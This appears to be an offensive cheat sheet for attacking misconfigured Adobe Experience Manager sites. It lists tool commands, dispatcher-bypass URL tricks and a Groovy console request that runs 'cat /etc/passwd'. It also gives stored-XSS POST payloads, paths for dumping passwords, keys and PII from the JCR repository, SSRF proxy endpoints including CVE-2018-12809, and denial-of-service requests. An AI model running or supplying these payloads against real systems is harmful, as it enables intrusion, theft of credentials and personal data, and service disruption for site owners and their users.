AEM MISCONFIGURATION CHEATSHEET

video

https://www.youtube.com/watch?v=EQNBQCQMouk

method

- collect sub domain
- use nuclei/nuclei-templates/technologies/tech-detect.yaml to identifiy aem
- Python3 ./aem_hacker.py –u https://example — host localhost
- use https://github.com/clarkvoss/AEM-List/blob/main/paths to fuzz on path

aem tools

- https://github.com/0ang3el/aem-hacker
- https://github.com/0ang3el/aem-rce-bundle

```
python3 aem_hacker.py    -u     --host yourvpshostname         =>comman usage
python3 aem_discovery.py --file urls.txt --workers 150         =>discover url
python3 aem_enum.py      --url                                 => automate usernames and secrets
python3 aem_ssrf2rce.py  --url  --fakaem yourvbs
python3 aem_server.py
```

aem dispatcher bypasses

[ ] bypassing cve 2016-0957

```
https://aemsite/bin/querybuilder.json              => blocked
https://aemsite/bin/querybuilder.json/a.css        => allow
https://aemsite/bin/querybuilder.json/a.html       => allow
https://aemsite/bin/querybuilder.json/a.ico        => allow
https://aemsite/bin/querybuilder.json/a.png        => allow
https://aemsite/bin/querybuilder.json;%0aa.css     => allow
https://aemsite/bin/querybuilder.json/a.1.json     => allow
```

[ ] bypassing for interesting servlets

```
https://aemsite/bin/querybuilder.json              => blocked
https://aemsite/bin/querybuilder.json/a.css        => block
https://aemsite/bin/querybuilder.json;%0aa.css     => block
https://aemsite/bin/querybuilder.json.servlet.css  => allow
https://aemsite/bin/querybuilder.json.servlet.html => allow
https://aemsite/bin/querybuilder.json.servlet.ico  => allow
https://aemsite/bin/querybuilder.json.servlet.png  => allow
///etc.json                  instead of  /etc.json
///bin///quesrybuilder.json instead of  /bin/quesrybuilder.json
```

[ ] using ssrf

```
ssrf should allow to send GET request and see response
- Opensocial proxy
- ssrf in reportingservicesproxyservlet(cve-2018-12809)
```

[ ] rce via exposed Groovy console

```
POST /bin/groovyconsole/post.servlet HTTP/1.1
HOST:







script=sef+proc+%3d+"cat+/etc/passwd".execute()%0d%0aprintln+proc.txt
```

[ ] xss

```
POST //////content/usergenerated/etc/commerce/smartlists/vv.json






aa=alert('xss+on+'%2b+document.domain+%2b+'\nby+%400ang3el+\ud83d\ude00')%3b
```

[ ] xss

```
POST /content/usergenerated/etc/commerce/smartlists/xss






aaa.html=alert('xss+on+'%2b+document.domain+%2b+'\nby+%400ang3el+\ud83d\ude00')%3b
```

[ ] xss

```
POST /content/usergenerated/etc/commerce/smartlists/xssed






jcr:data=alert('xss+on+'%2b+document.domain+%2b+'\nby+%400ang3el+\ud83d\ude00')%3b&jcr:mimeType=t
```

[ ] secret from jcr

```
everything is stored in jcr repository :
- secrets (password  ,encryption key , tokens)
- cinfiguration
- pII
- usernames

** what to use **
- DefaultGETServlet
- QueryBUilderJsonServlet
- QueryBuilderFeedServlet
- GQLSearch Servlet
- other

** DefaultGETServlet **
- Allows to get jsr node with its props
- selectors
  - tidy
  - infinity
  - numeric value:-1,0,1...99999
- formats
  - json
  - xml
  - res

- https://aem.site/tidy.3.json
  /    => jcr:root
  tidy => selector tidy
  3    => selector depth
  json => output format

- how to grap
 - get node names, start from jcr:root :
    - /.1.json
    - /.ext.json
    - /.childrenlist.json
 - or guess node names :
    - comman names /content, /home, /var, /etc
 - Dump props for each child node of jcr:root :
    - /etc.json or /etc.s.json or /etc.-1.json

- what to grap
 - interesting nodes
    - /etc => may contain secrets (pass,enc,keys)
    - /apps/system/config => passwords
    - /apps/<smth>/config => passwords
    - /var => may contain private pii
    - /home => password hashed ,pii
 - interesting props-contain aem usernames
    - jcr:createdBy
    - jcr:lastModifiedBy
    - cq:LastModifiedBy
```

[ ] QueryBuild Servlets

```
- path
   - /bin/querybuilder.json
   - /bin/querybuilder.feed.servlet

- examples of useful searches
 - type=nt:file&nodename=*.zip
 - path=/home&p.hits-full&p.limit=-1
 - hasPermission=jcr:write&path=/content
 - hasPermission=jcr:addChild Nodes&path=/content
 - hasPermission=jcr:modify Properties&path=/content
 - p.hits-selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alast ModifiedBy&property.ope
 - path=/etc&path.flat=true&p.nodedepth=0
 - path=/etc/replication/agents.author&p.hits-full&p.nodedepth=-1
```

[ ] exploit SSRF

```
ssrf via Opensocial proxy
 - /libs/opensocial/proxy?container=default&url=http://target
 - /libs/shindig/proxy?container=default&url=http://target
```

[ ] ReportingServicesProxyServlet

```
SSRF via ReportingServicesProxyServlet (CVE-2018-12809)
- /libs/ca/contentinsight/content/proxy.reportingservices.json?url=http://target%23/apil.omniture
- /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://target%23/apil.omni
- /libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://target&customer

SSRF via SiteCatalystServlet
- /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet
- /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json
```

[ ] DOS

```
- /.ext.infinity.json
- /.ext.infinity.json?tidy=true
- /bin/querybuilder.json?type=nt:base&p.limit=-1
- /bin/wcm/search/gql.servlet.json?query=type:base%20limit:..-1&pathPrefix=
- /content.assetsearch.json?query=*&start=0&limit=10&random=123
- /..assetsearch.json?query=*&start=0&limit=10&random=123
- /system/bgservlets/test.json?cycles-999999&interval=0&flushEvery=111111111
```